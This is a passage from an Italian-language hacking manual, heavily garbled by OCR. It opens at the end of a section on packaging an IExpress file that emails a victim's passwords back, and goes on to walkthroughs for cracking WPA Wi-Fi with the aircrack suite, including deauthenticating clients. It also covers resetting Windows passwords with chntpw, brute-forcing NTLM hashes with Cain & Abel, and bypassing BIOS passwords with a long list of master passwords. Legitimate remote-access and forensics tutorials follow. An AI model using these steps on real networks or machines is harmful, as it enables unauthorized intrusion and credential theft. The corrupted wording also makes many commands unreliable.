alla vittima. Una volta che lo aprira, vi arrivara' e-mail alla vostra casella di
posta elettronica, con scritto le sue password.

Breve manuale di IEXPRESS

Clicchiamo su Start/Esegui e scriviamo “iexpre§“avviera il programma,
chiamato appunto lexpress, per creare I'archivio astraibile.

Punto 1:

Scegliamo di voler creare un nuovo archivio, seleando “Create new Self
Extraction Directive file”:

Punto 2:
Clicchiamo quindi su Avanti. Ci vengono proposéi pracchetti di installazione:

1 Estrarre i file e farli avviare (prima scelta)
2 Estrarre i file solamente (seconda scelta)
3 Creare un ActiveX (terza scelta): i file saramompressi in un file CAB

Inseriamo quindi il nome del pacchetto da creaae sisibile all'utente.

Se vogliamo far confermare all'utente l'installagselezioniamo Prompt user
with, altrimenti selezioniamo “No prompt” e andiameanti. Nella schermata
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successiva a questa ci viene chiesto se inserirdiaenza per il programma. Si
tratta di un semplice file di testo (.txt) che ¥emostrato, all'interno di una
finestrella, quando si avviera il pacchetto: “saietta la licenza si va avanti,
altrimenti I'installazione viene interrotta”.

Dopo questa schermata occorre aggiungere al paocheb estraibile, i vari file
da fare estrarre. Facciamo click su “Add” e sele@moli: inserire anche il
programma eseguibile (exe, bat, com ) o il filekltda eseguire dal pacchetto.
Un comando personalizzato pud essere creato gzriseando alla voce Install
Program uno dei programmi selezionati precedentaméiia voce Post Install
Command si potra selezionare un altro programnffe(einte dal precedente) da
lanciare quando l'installazione del nostro pacohedta completata.

Nella schermata successiva occorrera selezionane dovra essere la finestra
che installa il programma (visibile, nascosta, mizizata, ingrandita). E’
possibile infine inserire un messaggio che appatlhagtente una volta finita
I'estrazione/installazione dei file. Un altro cliski Avanti e dobbiamo scegliere
(tramite il pulsante Browser) la cartella in cuivsae il pacchetto auto estraibile
creato. Tra le opzioni sotto si pud decidere sevisumlizzare il processo di
estrazione e/o archiviare il file interno al padtde

Scegliamo se dover far riavviare il sistema al teentlell'installazione:

No restart
Alway restart (riavvia)
Only restart (solo se necessario)

Se vogliamo salvare queste informazioni per unfutoo, selezioniamo Save
self Extration Directive File.

Si apre a questo punto una finestra DOS in cuissializzera il processo di
impacchettamento. Fine per uscire.

Torniamo al PUNTO 2 e seguiamo la sceltéract file only,avremo scelto di
creare urarchivio compresso autoestraenseguendo la seguente procedura:

- digiteremo il titolo del nostro pacchetto scontpate

- se desideriamo inseriamo una frase da visuabzzar

- scegliere se visualizzare la licenza

a questo punto creeremo la lista dei programmidgsiéderiamo inserire nel
pacchetto che andra poi ad essere compattato Buli'utente.

Seguono la visione di messaggi e viene creatteitfb
L'utente, al momento dell'installazione decideraedestrarre i file.

Tornando al punto 2, se avessimo scelto I'opzieneate compressed files only”
avremmo deciso semplicemente di creare un file cessp con estensione.CAB
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e non EXE come nei precedenti.

COME ENTRARE NELLE RETI Wi-Fi

TOOL PER RETI WIRELESS

WirelessKeyView

Questo software fa una cosa sola, ma incredibilenkebe: recupera le "chiavi"
delle connessioni wireless, posto che queste sr@rorizzate nel computer.
Non si tratta di un'eventualita remota, dopotutigelle di tipo WEP e WPA, in
genere sono molto lunghe e ben pochi utenti sidmea la briga di inserirle ad
ogni connessione. Una volta avviato, WirelessKeyMamalizza la memoria del
computer, rintraccia dove si trovano le chiavi @ebnnessione e le "decripta”,
porgendocele su un piatto d'argento! Le informaziecuperate potranno poi es-
sere salvate in formato TXT, HTML o XML. Infine,sbftware pud anche recu-
perare le password di login degli account e-maidilook, MSN o Windows
Live Messenger.

ZamZomWireless

La connessione Wi-Fi & troppo lenta? Forse qualsigacollegato abusivamen-
te alla nostra rete LAN. Se cosi fosse, possiaritniante scovare l'intruso con

ZamZom: avviata l'applicazione, clicchiamo su "P&ean" e in pochi secondi il
programma rivelera tutti i computer connessi aflatra rete. Basta poi confron-
tare gli indirizzi IP visualizzati con il nostro ¢4r IP Adress) e scovare l'intruso.

inSSIDer

Il SSID (Service Set IDentifier) sostanzialmenteritifica il nome della rete, vi-
sibile ad una normale scansione con il comput&SID puo essere nascosto di-
sattivando la funzione SSID broadcast: in questdanohiunque tenti di connet-
tersi alla rete, dovra digitarne (e quindi conosegmanche il nome. Questo pro-
gramma € uno scanner che cerca tutte le reti wseien protette nelle nostre vi-
cinanze e visualizza in una tabella I'elenco delitizzo MAC, il SSID, la sicu-
rezza e la velocita.

MAC Manager
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L'indirizzo MAC, detto anche indirizzo fisico, & aondice univoco di 6 byte as-
segnato ad una scheda di rete al momento dellaredazione. Tutte le schede
di rete in commercio quindi, siano esse etherniggless o bluetooth, hanno un
codice che le differenzia da tutte le altre. Quéstd, in particolare, ci consente
di cambiare il MAC della nostra scheda di rete agrassare dal Registro di con-
figurazione di sistema.

Aircrack Gui

Il programma raccoglie un insieme di strumentilpererifica delle reti Wire-
less: nello specifico, si tratta di airodump (siftli rete), aireplay (generatore di
pacchetti), aircrack (cracker per chiavi statichER\e WPA) e airdecap (decifra
file catturati WEP/WPA). Tutti questi tool sono isgensabili per verificare la si-
curezza della propria rete wireless, in modo dempsgmpre navigare in tranquil-
litd senza correre il rischio che qualcuno posbanila banda.

WPA Security Inspector

Questo programma mette a disposizione dell'utamtgenose funzionalita che
permettono di effettuare avanzati test di sicurestgla propria rete Wi-Fi (Alice

o Fastweb). Tra queste, in particolare, & possiaileolare la chiave WPA a par-
tire dal MAC e dal seriale del router, calcolarMAC e il seriale a partire dal
SSID e scoprire i coefficienti di calcolo del sézia partire dal seriale stesso. Per
utilizzare il software correttamente € necessatayrarsi da Internet il file con-
fig.txt

Wireshark (sostituisce il vecchio Ethereal)

Wireshark & un software utilizzato per la soluzidhproblemi di rete e per I'a-
nalisi/sviluppo di protocolli di comunicazione. Tieacaratteristiche del program-
ma troviamo funzionalita di ordinamentof/filtraggida possibilita di osservare
tutto il traffico presente sulla rete. Tipicamenieiferisce alle reti Ethernet, ma &
possibile analizzare anche altri tipi di rete siPer la cattura dei pacchetti, Wi-
reshark non dispone di proprio codice, ma utilizeaniffer di rete WinPcap, che
viene installato durante la procedura di setupalez

Tutorial Wireshark

UNO STRUMENTO INDISPENSABILE PER CHIUNQUE SI OCCUBI SI-
CUREZZA O PER CHI E CURIOSO SULLE DINAMICHE DI RETE

Il funzionamento & abbastanza semplice: il prograrshpone in ascolto sulla
connessione di rete e intercetta tutto il trafiibe vi scorre, mostrandoci il risul-
tato sul monitor.La cattura puo essere salvataifilel su disco per altri utilizzi,
mentre le informazioni a schermo sono esaurierguignto Wireshark € in grado
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di riconoscere molti tipi di pacchetti e di assoicial corretto protocollo, cosa
utile per capire come funzionano gli stessi. In pgando filtri definiti dall'uten-
te, € in grado di escludere traffico ritenuto potteressante e di segnalare imme-
diatamente qualunque anomalia riscontrata. Sateaitndi di uno strumento che
non pud mancare nella dotazione chiunque si oatiuiestioni legate alla sicu-
rezza delle reti.

1)La schermata iniziale di Wireshark ci guida attraeeutte le operazioni ne-
cessarie per compiere la cattura del traffico cloere sulla connessione di rete
dei nostro computer. Da qui possiamo configurapeagramma, scegliere l'in-
terfaccia di rete con fa quale operare e iniziareattura vera e propria. In pid,
offre collegamenti diretti alle guide disponibibre il programma e su! sito Web.
2)La prima cosa da fare € scegliere l'interfaccieetsi da usare per la cattura. La
finestra mostrata offre I'elenco di tutte le indéexde (cioe di tutte le schede di
rete) fisiche o virtuali presenti nel sistema:pgnuna, di cui viene riportato il
nome e l'indirizzolP assegnato, € possibile impestazioni di cattura diverse.
Per iniziare la cattura vera e propria basta fécesal pulsante Start relativo al-
l'interfaccia scelta.

3)Tra le opzioni relative alla singola interfacciarelie, sono da tenere presenti il
filtro di cattura,che permette di escludere tutteigpacchetti che non interessano
per lo studio che ci prefiggiamo di compiere inwgtm e la possibilita di salvare
il file della cattura stessa. Usando per il salggta il formato .cap i | file potra
essere usato anche da altro software, dato chetsi di un formato standard per
le catture dei pacchetti.

Al filtro di cattura pud essere configurato secof@nostre esigenze. Sono pre-
senti diversi filtri preconfigurati per le operaaigiu frequenti, per esempio la
cattura dei sol i pacchetti TCP: impostando uno di

questi filtri verranno ignorati tutti i pacchettie non rispondono ai requisiti. Se
necessario, € possibile costruire anche filtri geatizzati, a patto di conoscere
approfonditamente la tecnologia che vogliamo apratiz.

5)Durante la cattura, la parte superiore della scatmrincipale del programma
ci mostra I'elenco dei pacchetti ricevuti. Per gggichetto, oltre al numero pro-
gressivo e al tempo trascorso dall'inizio dellauwatespresso in secondi, possia-
mo vedere gli indirizzi di partenza e destinazideépacchetto, il protocollo usa-
to e il tipo di pacchetto, del quale, se riconosxiviene riportato espressamente
il nome del servizio per cui viene usato.

6)Nella parte inferiore della finestra, invece,vengomostrati i dettagli del pac-
chetto selezionato nel riqguadro superiore. Questolé interessante, in quanto
analizzando il pacchetto fin nel suo intimo potresrgaovare non solo i dati pa-
lesi riportati dal programma, come gli indirizzi NLAdelle schede di rete coin-
volte,ma anche il contenuto dei pacchetti stedsjmale si trovano comunica-
zioni in chiaro, password e molto altro.
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VERSIONI LIVE DI LINUX

CorKnopils, Backtrack,Restore, Opcrack, Helixecc. ecc. & possibile avviare
un computer anche quando il sistema operativo ispomde. E’' fondamentale
che il PC si avvii dal CDRom

A questo punto cosa si puo fare

*) recuperare i dati e successivamente formattdiestallare il S.O.

*) Scoprire le password (recuperare le psw)
*) catturare pacchetti della rete cablata o wirel@srcrack,Wireshark, Back-

Track)
*) utilizzare software senza installazione sul PC

Vediamo alcuni esempi:

CorDPCrack si trovano le password, basta avviare e, con uth pazienza,
saranno visibili a monitor gli utenti con rispettipassword.

CorKon-Boot si awvia il S.O. senza richiesta PSW (non funzisumaeti client
server, per il momento!)

BackTrack e Aircrack

Cambiare la Password di Windows con Backtrack

Innanzitutto per chi non l'avesse fatto suggeridicimstallare backtrack su usb, &
davvero comoda, ed ecco come cambiare la passwaidadbws:

* Fare login in backtrack.

* Aprire la shell e smontare la partizione di wingo(umount /dev/sdal) nel mio
caso che e /dev/sdal ed usero questo come esgrapigdere facilmente la vo-
stra aprite konqueror sul pannello in basso, désal disco di windows, nella
barra degl’indirizzi apparira un indirizzo del tipgystem:/media/sdal, sdal ¢ la
partizione di windows.

* Adesso create una nuova directory che io ho catarwin per comodita e
montate la partizione in lettura e scrittura ceeguenti comandi: mkdir
/mnt/win e mount -t ntfs-3g /dev/sdal/ /mnt/win.



* Ora bisogna andare nel menu k/backtrack/privilegealation/PasswordAttack/
e selezionare chntpw.

* Guardiamo qual’é il nostro utente windows a cogltamo cambiare la pas-
sword con il comando chntpw -i /mnt/win/system32ftgSAM . Adesso se il
vostro utente si chiama pippuzzo per cambiare parsksi digita chntpw -u pip-
puzzo /mnt/win/WINDOWS/system32/config/SAM, quandora richiesto si di-
gita la nuova password.

La medesima cosa si puo fare, molto piu semplicégnennHirensBootCD
awviando Mini Windows nella sezione Password

Craccare una rete Wi-fi con chiave WPA con
Backtrack 3

Innanzitutto dobbiamo dire che il WPA fornisce dlierse modalita di autenti-
cazione’RADIUS e PSK la prima & praticamente inespugnabile, mentre una
WLAN che utilizza PSK (la maggior parte) pud essataccata tramite la cattu
ra dell’lhandshakeper fare questo € necessario che almeno un si@ebllegato
alla rete bersaglio.

PRIMO PASSO: CATTURARE LHANDSHAKE

Innanzitutto dobbiamo mettere la scheda wi-fi indal@a Monitor mode, quin-
di apriamo un terminale ed eseguiamo:

airmon-ng start ethl 11

chiaramente al posto di ethl dobbiamo scriverédifaccia della nostra scheda
di rete e al posto di 11 inseriamo il canale wtdio dall’access point bersaglio
Adesso eseguianairodump-ng, con la seguente sintassi:

airodump-ng —bssid [mac address access bersagliglhannel [numero cana-
le] -w wpa [interfaccia nostra scheda]

Ricordo che per avere informazioni su il MAC Addrekell'access point bastera
usareKismet (vedi articolo precedente)

Adesso dobbiamo attendere...che un client si conaé&aete,e nel momento in
cui accadra,nella nostra finestra dove abbiamouggegirodump-ng comparira:
WPA handshake: 00:13:ce:c6:05:53

DEAUTENTICAZIONE DI UN CLIENT
L'attacco deve essere rapido e puo capitare chminadient si connetta, in que-

sto caso é possibile forzare la deautenticaziohelidat cosicché sara costretto
a riautenticarsi e noi saremo pronti per catturaii necessari del’handshake.
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Per far cid apriamo un terminale (lasciando apgutgla di airodump-ng) ed
esguiamaireplay-ng, adesso € il momento di impiegareeauthentication
Attack!

Il comando da usare sara:

aireplay-ng -0 1 -a [BSSID] -c CLIENT eth1

Al posto di BSSID inseriremo il MAC address delkass point bersaglio e al
posto di CLIENT scriveremo l'indirizzo MAC del cli¢. Per individuare ul
client basta lanciare Kismet (vedi sopra).

Adesso che abbiamo i pacchetti di Handshake nogsta che individuare la pas
sphraseper far cio, il metodo piu semplice € quelloatief un attacco a forza
bruta.

ATTACCO A FORZA BRUTA

Iniziamo con lo scaricare una wordlist (un elenbe ci aiutera per rubare la pas-
sphrase), per il dizionario italiano, quindi apr@ma shell e digitiamo:

waget ftp://ftp.ox.ac.uk/pub/wordlists/italian/words.italian.Z

Adesso possiamo dare questo fileimrack-ng insieme al file di handshake.
Apriamo un terminale e scriviamo:

aircrack-ng -b [mac address access bersaglio] -wégpcorso completo della
wordlist creata prima][file contenente handshake]

Il computer poliziotto: OSForensics

Installa subito il software usato dalla PoliziaeBtifica e diventa un abile inve-
stigatore informatico co®SForensics

L'installazione di OSForensics non richiede pattcioaccortezze: terminata I'in-
stallazione consiglio di installare il pacchettol8B dal comando “Install to
usB”.

Si parte con le indagini

Un investigatore che si rispetti sa sempre comézaase un sistema nel minimo
dettaglio. Ecco come scoprire i segreti che il pggrio di un PC vuol nascon-
dere a occhi indiscreti!

1) iniziamo I'analisi

La prima operazione da compiere € quella di aprirexcartamento per le inda-
gini, usando il gergo dei vecchi investigatori. lgarliamo di informatica e cosi
apriremo una cartella, nella quale andremo ad stk tutti i risultati delle
nostre analisi. In Start clicchiamo Create Case.

2) i dettagli del caso



Come tutte le cartelline documentali che si rispeftanche per quella digitale
servono alcune informazioni per archiviarla cometénte. In Case name diamo
un nome al caso, indichiamo anche quello dell'itigasore, lasciamo inva-
riate Timezone, Default Drive e Case folder e didbha

3) il faldone delle indagini

Per accedere (anche in seguito) alla cartella oente tutti i resoconti delle no-
stre indagini, dall'interfaccia principale di OSEasics accediamo alla sezione
Manage Case. Per aggiungere ulteriori dettaglcasb, selezioniamo

la cartella e clicchiamo sul pulsante Edit Caseaibet

4) il punto della situazione

Per stampare un resoconto delle indagini, seleaoaiil caso che ci interessa e
clicchiamo Generate Report. In Export Report lasoianvariati i menu Case
Report e Style, e clicchiamo OK. Nel percorso iatlicdn Output Location
troveremo il report del caso in formato HTML.

Prepariamo I'hard disk

Per ottimizzare le ricerche di file nascosti neamdri dell’hard disk, & opportu-
no effettuare un’indicizzazione di tutto il contémuln questo modo, troveremo
le tracce del “crimine” molto piu velocemente!

1) un indice per I'hard disk

Dall'interfaccia principale di OSForensics selezéono Create Index e clicchia-
mo Create Index. Nella schermata che appare, acegli contenuti da indiciz-
zare (ad esempio, Emails, ma possiamo anche sedegitutte le voci proposte
come foto, PDF, ZIP...) e premiamo Next.

2) Scansioni approfondite

Nella schermata successiva lasciamo attiva la Wieele Drive per indicizzare
tutto il contenuto dell’hard disk. Clicchiamo suvsthced Options se vogliamo
personalizzare la procedura di indicizzazione ésad Procediamo con Next e
in Index Title diamo un nome all’indice.

3) Ora é tutto a portata di clic

Clicchiamo Start Indexing per avviare l'indicizzaze del disco: la procedura
durera diversi minuti, a seconda delle dimensietiitthrd disk. Una barra di
avanzamento ci aggiornera su quanto tempo manuargege-mail sono state
indicizzate, gli errori e il tempo trascorso.

Al via con i recuperi estremi

Ora che il disco e stato indicizzato, possiamo endHa ricerca di tutte le e-mail
archiviate. E non solo quelle elencate nel cligeqtasta elettronica, ma anche
quelle gia cancellate! Ecco come procedere.
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1) Parole compromettenti

Spostiamoci in Search Index: in Enter Search Wectlisiamo una parola chiave
che potrebbe essere contenuta nelle e-mail incait@ie in Index to search indi-
chiamo dove cercarla. Clicchiamo sul pulsante $epet avviare I'operazione.
2) ecco tutte le tracce

Terminata la ricerca, i risultati verranno elencegila schermata Search Index,
ordinati per tipologia. Nel nostro caso, spostianmet tab Email. Avremo un’an-
teprima di quelle contenenti la parola chiave.|Pggerle, selezioniamole col ta-
sto destro del mouse e clicchiamo Open.

3)ti ho scoperto!

Se non troviamo indizi, spostiamoci nel tab Unadted. Qui vengono elencati
quegli elementi che in una ricerca normale non anmgbbero, perché cancella-
ti 0 non piu leggibili. Anche in questo caso, selammoli col tasto destro del
mouse e clicchiamo Open per leggerli.

Analisi dettagliata dei log

Una ricerca di informatica forense permette di sicepo stile d’'uso del PC:
quanti accessi sono stati effettuati, il browsettoi® i siti pit visitati, se sono
stati usati supporti esterni... Ecco in che modo.

1) analisi di un comportamento

Spostiamoci nella sezione Recent Activity, impaatiadei parametri di ricerca,
sia temporali sia per i dischi su cui cercarejechlamo Scan. Lasciando All nel
menu Show only verranno elencate tutte le attiétZenti: accessi a siti

Web, chiavette inserite e ogni azione effettuata.

2) navigazione sotto controllo

Se nel menu a tendina Show only selezioniamo la Byowser History, ecco le
azioni compiute sul Web. Nello stesso modo possieeda@re i download effet-
tuati e i log delle chat, le connessioni ad unawéita Usb.

3) i log di tutto!

Possiamo anche avere una panoramica generaleldi gue sono state le opera-
zioni compiute nel periodo preso in esame, cog idelle operazioni. Nel menu
Show Only selezioniamo Events. Gli eventi sono,uapp, le azioni in generale
e il risultato & a dir poco sorprendente.

File cancellati? Rieccoli!

E difficile che qualcuno lasci sul PC documentic@nti”: in genere, dopo averli
letti e visualizzati, li cancella. Se non fosse cbha OSForensics bastano pochi
clic per recuperarli.

1) un segugio nel Pc
Dal menu principale di OSForensics, spostiamo&éteted Files Search. Come
prima cosa, clicchiamo sul pulsante Config e, niaflestra che appare, impostia-
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mo il menu Quality su Excellent or Good, per otteneisultati migliori nella ri-
cerca di file cancellati.

2) a me non sfugge nulla!

Clicchiamo Search. Dopo pochi secondi, ecco I'ededlicutti i file cancellati.
Per ognuno, & indicato un numero che rappresentadtita e la possibilita di
recuperarlo. Selezioniamo quello che ci interes$sasto destro del mouse e
clicchiamo Save Deleted File per recuperarlo.

Anche le password

Con OSFaorensics € possibile recuperare anchdeytssword celate nel siste-
ma. Abbiamo il menu Passwords che fa proprio a castro. Ci sono diverse
schede in questo menu. La prima ci permette didaeericerca generica. Clic-
chiamo su Retrieve Password. Aspettiamo un attingoilgprogramma effettui la
ricerca per avere i risultati nella parte centddéla scheda. Da non credere! In
pochi secondi ecco a nostra disposizione i sittatislo username e la
password utilizzati per accedervi, addiritturarilser utilizzato per 'accesso,
I'eventuale posizionamento in blacklist, I'utenteecha effettuato I'accesso e
anche il percorso!

A volte serve la forza bruta Cain & Abel

Per recuperare le password dimenticate, si pucisasetodo Brute Force, che
consiste nel creare tutte le possibili combinazitetia parola ricercata fino a in-
dividuare quella giusta. Ecco come metterlo inipaat

1)Il programma giusto

Eseguiamo il file ca_setup.exe per installarlo. &arsentire che il programma
apporti modifiche al sistema, clicchiamo Consentrmgdo appare la finestra di
richiesta.

2) Servono i driver di rete

Clicchiamo Next per accettare tutte le impostazamefault e poi su Finish per
terminare la prima fase dell'installazione. A questinto il programma ci chie-
dera di installare il driver di rete WinPCap: peogedere clicchiamo Install e at-
tendiamo il completamento della procedura.

3) l'avvio & automatico

Il driver di rete per I'analisi dei pacchetti pussere fatto partire manualmente o
automaticamente ad ogni avvio del sistema operafjuesta seconda opzione &
sicuramente piu comoda, quindi, nell'ultimo passagguntiamo la voce Auto-
matically start the... e poi premiamo Install.

4) Troviamo le password

Completata quest’altra procedura d’ installazi@wjamo Cain & Abel con un
doppio clic sul la sua icona presente nel Desktdfiddows. Se appare la
schermata di controllo del | 'account utente, bispgliccare Si per proseguire.
L'applicazione necessita infatti di privilegi di anmistratore.
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5) la rete non serve

Se nel sistema € at t ivo un firewal |, Cain cordera che alcune sue caratteri-
stiche (prevalentemente legate al I'uti | izzo malLAN) non funzioneranno
correttamente. Poiché in questo primo test ci émgitno a tentare il recupero di
password locali, ignoriamo il messaggio e premi&ko

6) Scardiniamo le chiavi

Per provare a recuperare le password degli acgoasénti sul nostro sistema
Windows, spostiamoci nella scheda Cracker dallestia principale di Cain e
selezioniamo uno degli elementi contraddistintl’itaina di Windows.

Per le parole chiave locali clicchiamo LM & NTLM blaes.

7) Dove sono le password?

Per eseguire I'attacco “brutale” sulle nostre passiywdobbiamo indicare il file
di sistema in cui vengono memorizzate. ClicchiamBisona con il segno +
nell'interfaccia principale di Cain: nella schermahe appare selezioniamo Im-
port Hashes from local system e premiamo Next.

8) Siamo tutti hacker

Terminata la procedura d’importazione, nella sclaganprincipale di Cain ver-
ranno elencati tutti gli utenti presenti sul sistelocale. Selezioniamo col tasto
destro del mouse quello di cui vogliamo scoprirpdasword e scegliamo Brute-
Force Attack/NTLM Hashes dal menu contestuale.

9) Questione di tempo

L'attacco brutale usa un set di caratteri per @éawvarie combinazioni: spuntia-
mo Predefined e impostiamo la lunghezza minima gsim@ della password
(Password Lenght). Premiamo Start per avviaredaquiura di recupero.

Dopo poco tempo in Start from apparira la passvgondrrita!

Password del BIOS

I modo piu sicuro per proteggere i dati archiviegl PC € quello di inserire una
password di accesso al BIOS. Ecco la procedureepeperarla.

1) No batteria, no password

Il primo metodo per resettare il BIOS, cancella@assword e ripristinarlo

al le impostazioni di fabbrica consiste nel rimugvper almeno 30 minuti la bat-
teria del la scheda madre. Questa operazione gaiggsa PC spento.

2)Il jumper cancella tutto

Se la batteria della scheda madre non puo essenssa, € comungque possibile
riprogrammare il BIOS spostando il jumper di rggetsente sulla scheda madre
(indicato di solito con la sigla CLR CMQOS). Perridiéicarlo, ci si pud servire

del manuale d’'uso della motherboard. Spostandovipr, il reset del BIOS av-
viene in modo immediato.

3) la chiave principale

Molti produttori hardware inseriscono nel BIOS lasfer Password che consen-
te ai tecnici dell’assistenza di accedere alle istgmioni del PC bypassando
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quella inserita dagli utenti. Di seguito I'elenaande chiavi di accesso dei prin-
cipali modelli di motherboard,. Trovata la passwgiasta, potremo accedere al
PC.

System/BIOS

Known master passwords
Manufacturer

Advanced Integration| Advance

589589
A.M.1.
aammii

AM

AMI
AMI_SW
AMIISW
AMI?SW
AMLKEY
ami.key
AMI.KEZ
ami.kez
AMI~
AMIAMI
AMIDECOD
AMIPSWD
amipswd
AMISETUP
bios310
BIOSPASS
CMOSPWD
helgal3s
HEWITT RAND
KILLCMOS

AmpTRon Polrty
AST SnuFG5

Award BIOS ?award
013222222
13222222
1EAAhQ
256256
589589
589721
admin

AMI BIOS
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alfarome
alLLy

aPAf

award
award_?
award.sw
award sw
award_ps
AWARD_PW
AWARD_SW
AWARD SW
awkward
BIOS

bios*
biosstar
biostar
CONCAT
condo
CONDO
CONDO,
djonet
efmukl

g6PJ

h6BB
HELGA-S
HEWITT RAND
HLT

jO9F

j256

j262

j322

j64

Ikw peter
Ikwpeter
LKWPETER
PASSWORD
SER

setup
SKY_FOX
SW_AWARD
SWITCHES_SW
Sxyz

SZYX
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tOch20x

tOch88
TTPTHA
ttptha
TzqF
wodj
ZAAADA
zbaaaca
Zjaaadc
Biostar Biostar Q54arwms
Compaq Compaq
Concord last
CTX International CTX_123
CyberMax Congress
Daewoo Daewuu
Daytek Daytec
Dell (some) Dell
Digital Equipment .
(DEC) komprie
Enox x0llnE
Epox cenTRal
Freetech Posterie
Hewlett-Packard
(VecTRa) hewlpack
IBM
IBM MBIUO
merlin
sertafu
Iwill will
Jetway spooml
Joss Technology 57gbzb technolgi
Leading Edge MASTER
M Technology mMmM
MachSpeed sp99dd
Magic-Pro prost
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Megastar star

Micron sldkj754 xyzall
Micronics dn_04rjc
Nimble xdfk9874t3
Packard Bell bell9

Phoenix phoenix

QDI QDI

Quantex Eﬁ (or: x1jlbj)
Research Col2ogro2

RM (Server BIOS) RM
Shuttle (Spacewalker) Spacve

Siemens-Nixdorf SKY_FOX
SpeedEasy lesarotl
SuperMicro ksdjfg934t
Tinys tiny
TMC BIGO
Toshiba
Toshiba 24Banc81
toshy99
VexTRec VexTRex
\obis merlin
Zenith 3098z Zenith
ZEQOS ZeosX

4) |l reset si fa via software

Per resettare la password del BIOS possiamo usaled tool CMOSPwd. Av-
viamo il Prompt dei comandi con diritti di amminegiore e spostiamoci nella
cartella Windows contenuta nell’archivio del softeaDigitiamo ioperm -i e
diamo Invio. Digitiamo cmospwd_win /k e diamo numente Invio. Premiamo
2 e nuovamente Invio.



Remote Desktop Access_

CONTROLLO REMOTO

Metodi legali
LogMeln: https://secure.logmein.com

Le funzioni di LogMeln Pro consentono di:

Controllare il desktop a distanza

Trasferire i file tra computer

Stampare file a distanza sulla stampante locale

Condividere un file di grandi dimensioni senza asallegati email,
FTP o un sito di terze parti

Condividere il tuo desktop con un'altra persona

Ascoltare il sonoro remoto sul pc locale

Riattivare un computer in stand by attraversoia re

Un PC sempre disponibile: vediamo come poter aceaglenostro computer
quando non siamo in casa

1) REGISTRIAMOCI AL SERVIZIO

Per poter utilizzare il nostro computer anche goasidmo fuori casa utilizzere-
mo il servizio gratuito LogMein. Andiamo sul sitomw.logmein.com,
clicchiamo sulla voce Crea un account e di seguit&ffettua registrazione in
LogMein Free.

In questo modo potremo creare un nuovo utente eztlece al servizio.

2) COMPILIAMO | DATI

Per procedere nella registrazione dobbiamo congpilaa serie di

campi di testo.In ordine dobbiamo inserire un iizdiw di posta elettronica vali-
do, quindi scegliere una password, indicare il Ba&ei$ tipo di utilizzo che si an-
dra a fare di LogMein.

Per proseguire nella registrazione clicchiamo ssaGrcount.

3) CONFERMIAMO L'ACCOUNT

Il sito ci inviera un'e-mail che ci permettera ttivare I'account. Non dobbiamo
far altro che andare nella nostra casella di pelstéronica e aprire il messaggio
che ha per oggetto LogMein — Attivare I'accountsib interno sara presente
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un link: clicchigmoci sopra per aprire la paginab/éhe confermera l'attivazione
dell'account.

4) AGGIUNGIAMO IL COMPUTER

Dopo aver attivato I'account, LogMeln ci chiedessgliamo aggiungere il com-
puter a quelli che desideriamo controllare in ream®er confermare clicchiamo
sulla voce Aggiungi computer. Automaticamente pamewnload del software
che ci permettera di controllare il computer deegltostazioni Internet. Una pic-
cola finestra ci chiedera di confermare il downlo&ilfile: premiamo su Esegui
e proseguiamo.

5) INSTALLIAMO IL SOFTWARE Per poter controllare RC da remoto dob-
biamo ora installare un piccolo programma. Quahdownload dei file & stato
completato, parte in automatico la procedura dilizstione. Accettiamo il Con-
tratto di licenza, selezioniamo il tipo d'instaltaze (pud andar bene quella Tipi-
ca), assegnhiamo un nome al PC in Descrizione canpytroseguiamo con l'in-
stallazione del programma fino al termine.

6) EFFETTUIAMO L'ACCESSO

Al termine il software sara installato sul computbe vogliamo controllare. Una
piccola icona di LogMeln apparira nella task bawgindows: ci conferma il suo
funzionamento. Ora, quando siamo fuori casa, poss@ollegarci a Internet da
qualsiasi computer e andare sul sito www.logmem.daseriamo, quindi, l'indi-
rizzo di posta elettronica che abbiamo usato pezdéstrazione e la Password
scelta.Premiamo, infine, su LogMeln.

7) SCEGLIAMO IL COMPUTER

Quando entriamo nel sito col nostro account ciamamo mostrati i computer ai
quali possiamo accedere da remoto. Per ora nesérgeeuno solo, ma cliccando
su Aggiungi computer possiamo aggiungere anchdajcieé stiamo utilizzando
con la stessa procedura vista in precedenza.

Per entrare sul PC da remoto, invece, e sufficieliteare sul computer presente
nella lista, a patto che sia in linea.

8) INSTALLIAMO IL PLUG-IN

Se é la prima volta che utilizziamo LogMeln sul garer da cui stiamo fisica-
mente operando ci potrebbe essere chiesto dilargtain plug-in per il browser.
Confermiamo e proseguiamo. Ci verra mostrata, quimd piccola finestra per
inserire i dati dell'account di Windows del compidel quale vogliamo entrare.
Inseriamoli e premiamo sul tasto Accedi: saremdrizehti, infine, alla finestra
con le varie opzioni di gestione remota disponibilLogMelN.

9) IL NOSTRO DESKTOP REMOTO



Alcune delle opzioni disponibili funzionano soloncla versione Pro di Log-
Meln, che & a pagamento. Nel nostro caso, invditigzaremo la versione gra-
tuita che ci permette di effettuare il controlloréaoto.

Per accedere al desktop del PC di casa clicchiamumussante Controllo remoto
e poi su OK per confermare. Dopo alcuni secondi sastrato il desktop del PC
di casa e possiamo lavorarci come se fossimo fiscsie seduti davanti al moni-
tor.
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TONIDO: Basta un browser per accedere in streamin@ musi-
ca e film archiviati sul PC di casa. Ecco come:

grazie ad un‘applicazione di nome Tonido, possiactedere direttamente ai file
salvati sul PC di casa, lasciato connesso a Irtemna dovremo nemmeno apri-
re particolari porte sul router o configurare al@NS dinamico. Quel che dob-
biamo fare € installarne il server e registrar@ccount gratuito. Tonido rende
accessibili da remoto (via browser e persino traelefonino) tutti i file e le
cartelle archiviate nel PC di casa: basta digitaréirizzo (URL) associato al
nostro computer, fornito al momento della registiaz dell'account. Il tutto &
estremamente semplice e sicuro. Non avremo limiith glimensione dei file se
non quello della capacita fisica del nostro haskdi

1) Installiamo Tonido

Sul PC di casa facciamo doppio clic sul file TornileSetup.exe per

avviare la procedura guidata di installazione deler. Al termine, spuntiamo la
voce Launch Tonido e premiamo Finish. Il serverdewviato automaticamente
e potremo configurarlo per i nostri scopi.

2) Creiamo l'account

Nella barra di notifiche di Windows (in basso atd#s clicchiamo col tasto de-
stro suH'icona di Tonido e selezioniamo Open .dndunt Name digitiamo il
nome per il nostro account, scegliamo una passvwusdtiamo il nostro indiriz-
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zo di posta elettronica, spuntiamo / agree to T@aidlerms of Use e premiamo
Create.

3) Completiamo i | profilo

:Dopo aver eseguito I'accesso a Tonido, nella @dtdeviene visualizzato I'URL
che dovremo usare per accedere da remoto. Clicorsansettings presente in
Miscellaneous. Da qui possiamo modificare le vanipostazioni del server:
quelle predefinite vanno comunque piu che bene pestri scopi.

4) Condividiamo le risorse

